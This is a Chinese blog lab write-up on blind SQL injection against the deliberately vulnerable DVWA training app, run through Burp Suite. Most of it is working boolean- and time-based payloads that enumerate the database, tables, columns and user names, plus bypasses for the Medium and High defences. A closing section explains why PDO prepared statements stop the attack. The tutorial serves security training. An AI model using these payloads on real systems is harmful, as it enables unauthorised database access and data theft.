DVWA系列(七)——使用Burpsuite进行SQL Injection(Blind)(SQL盲注)

1. SQL盲注简介

(1)SQL盲注

SQL Injection(Blind),即SQL盲注;

注入:可以查看到详细内容;

盲注:目标只会回复是或不是,没有详细内容;

(2)手工盲注思路

手工盲注的过程,就像你与一个机器人聊天,这个机器人知道的很多,但只会回答“是”或者“不是”,因此你需要询问它这样的问题,例如“数据库名字的第一个字母是不是d啊?”,通过这种机械的询问,最终获得你想要的数据。

(3)SQL盲注的类型

基于布尔值的盲注;

基于时间的盲注;

基于报错的盲注;

在本次实验中只演示基于布尔值的盲注与基于时间的盲注;

(4)SQL盲注的过程

1.  判断是否存在注入,注入是字符型还是数字型;

2.  猜解当前数据库名;

     猜解数据库的长度;猜解数据库的名称;

3.  猜解数据库中的表名;

     猜解库中有几个表;猜解表的长度;猜解表的名称;

4.  猜解表中的字段名;

     猜解表中有几个字段;猜解字段的长度;猜解字段的名称;

5.  猜解数据;

2. SQL盲注

实验环境

(1)Windows服务器:Windows  Server 2003,IP地址:192.168.37.128;

(2) 测试机:Windows7物理机(开启代理,代理服务器为burpsuite)

实验过程

安全级别:Low

(1)设置安全级别

(2)查看源码

(3)源码分析

Low级别的代码对参数id没有做任何检查、过滤,存在明显的SQL注入漏洞;

同时SQL语句查询返回的结果只有两种:

User ID exists in the database;User ID is MISSING from the database;

(4)实验操作

基于布尔值的盲注

4.1> 判断是否存在注入,注入是字符型还是数字型;

输入1,查询成功;

输入1' or '1'='1#,查询成功,证明存在字符型SQL注入;

4.2> 猜解当前数据库名;

4.2.1> 猜解数据库名的长度;

输入 1' and length(database()) =4 #

4.2.2> 猜解数据库名;(dvwa)

1' and ascii(substr(database(),1,1))=100#        //d

1' and ascii(substr(database(),2,1))=118#        //v

1' and ascii(substr(database(),3,1))=119#        //w

1' and ascii(substr(database(),4,1))=97#          //a

4.3> 猜解数据库中的表名;

4.3.1> 猜解数据库中表的个数(2)

输入 1' and   (select  count(table_name) from information_schema.tables where table_schema='dvwa')=2#

4.3.2> 猜解数据库中表的长度(guestbook——9,users——5)

输入 1' and   length(substr((select   table_name  from information_schema.tables where table_schema='dvwa' limit 0,1),1))=9#

输入 1' and   length(substr((select   table_name  from information_schema.tables where table_schema='dvwa' limit 1,1),1))=5#

4.3.3> 猜解数据库中的表名(guestbook,users)

输入 1' and   ascii(substr((select table_name  from information_schema.tables where table_schema='dvwa' limit 0,1),1))=103#

以此类推:guestbook中的k的表示为:

输入 1' and   ascii(substr((select table_name  from information_schema.tables where table_schema='dvwa' limit 0,1),9))=107#

以此类推:users表中u如下表示:

输入 1' and   ascii(substr((select table_name  from information_schema.tables where table_schema='dvwa' limit 1,1),1))=117#

4.4> 猜解表中的字段名;(以users表为例)

4.4.1> 猜解users表中有几个字段

输入 1' and   (select  count(column_name)   from information_schema.columns where table_name='users')=8#

4.4.2> 猜解字段的长度(以user_id为例)

输入 1' and   length(substr((select   column_name from information_schema.columns where table_name='users' limit 0,1),1))=7#

4.4.3> 猜解字段的名称(以user_id中的u为例)

输入 1' and   ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=117#

4.5> 猜解数据;

输入 1' and ascii(substr((select user from users limit 0,1),1,1))=97#

admin中的a;

基于时间的盲注

4.1> 判断是否存在注入,注入是字符型还是数字型;

输入 1' and sleep(5)#  (字符型注入);

(留意左上角的缓冲,如果有缓冲时间,则证明正确,否则错误;)

4.2> 猜解当前数据库名;

4.2.1> 猜解数据库名的长度;

输入 1' and if(length(database()) =4,sleep(5) ,1)#

4.2.2> 猜解数据库名;(dvwa)

输入 1' and if(ascii(substr(database(),1,1))=100,sleep(5),1)#  //d

以此类推

4.3> 猜解数据库中的表名;

4.3.1> 猜解数据库中表的个数(2)

输入 1' and   if((select  count(table_name) from information_schema.tables   where table_schema='dvwa')=2,sleep(5),1)#

4.3.2> 猜解数据库中表的长度(guestbook——9,users——5)

输入 1' and   if(length(substr((select   table_name  from information_schema.tables where table_schema='dvwa' limit 0,1),1))=9,sleep(5),1)#

输入 1' and   if(length(substr((select   table_name  from information_schema.tables where table_schema='dvwa' limit 1,1),1))=5,sleep(5),1)#

4.3.3> 猜解数据库中的表名(guestbook,users)

输入 1' and   if(ascii(substr((select table_name  from information_schema.tables where table_schema='dvwa' limit 0,1),1))=103,sleep(5),1)#        //g

以此类推:guestbook中的k的表示为:

1' and   if(ascii(substr((select table_name  from information_schema.tables where table_schema='dvwa' limit 0,1),9))=107,sleep(5),1)#       //k

以此类推:users表中u如下表示:

1' and   if(ascii(substr((select table_name  from information_schema.tables where table_schema='dvwa' limit 1,1),1))=117,sleep(5),1)#

4.4> 猜解表中的字段名;(以users表为例)

4.4.1> 猜解users表中有几个字段

输入 1' and   if((select  count(column_name)   from information_schema.columns   where table_name='users')=8,sleep(5),1)#

4.4.2> 猜解字段的长度(以user_id为例)

输入 1' and   if(length(substr((select   column_name from information_schema.columns where table_name='users' limit 0,1),1))=7,sleep(5),1)#

4.4.3> 猜解字段的名称(以user_id中的u为例)

输入 1' and   if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=117,sleep(5),1)#     //u

4.5> 猜解数据;

1' and if(ascii(substr((select user from users limit 0,1),1,1))=97,sleep(5),1)#

admin中的a;

安全级别:Medium

(1)设置安全级别

(2)查看源码;

(3)源码分析

可以看到,Medium级别的代码利用mysql_real_escape_string函数对特殊符号\x00,\n,\r,\,’,”,\x1a进行转义;

同时设置了下拉选择表单,控制用户的输入;

可以简单看出,用户只能选择1-5,存在数字型SQL注入;

(4)实验过程

虽然使用了下拉选择菜单,但是我们可以通过抓包修改参数,实现SQL注入;

基于布尔值的盲注

输入 1 and length(database())=4

接下来的操作与low级别基本上相似,只是不需要1后面的单引号和最后的#,操作如上;

安全级别:High

(1)设置安全级别

(2)查看源码

(3)源码分析

High级别在SQL查询语句中添加了LIMIT 1,以此控制只输入一个结果;

虽然添加了LIMIT 1,但是我们可以通过#将其注释掉;

(4)实验过程

基于布尔值的盲注

猜解数据库名的长度

输入 1' and length(database()) =4 #

接下来的操作与low级别一样;

虽然源码中限制了输入的长度为1,但是我们在输入的最后加个#,就可以注释掉源码中的limit 1;

在High级别中,不适合用基于时间的盲注,因为High级别的源码中显示,不论猜解正确或者错误,都会sleep(rand(2,4));

安全级别:Impossible

(1)设置安全级别

(2)查看源码

(3)源码分析

Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入;

同时只有返回的查询结果数量为1时,才会输出;

猜你喜欢

转载自blog.csdn.net/qq_38684504/article/details/89849978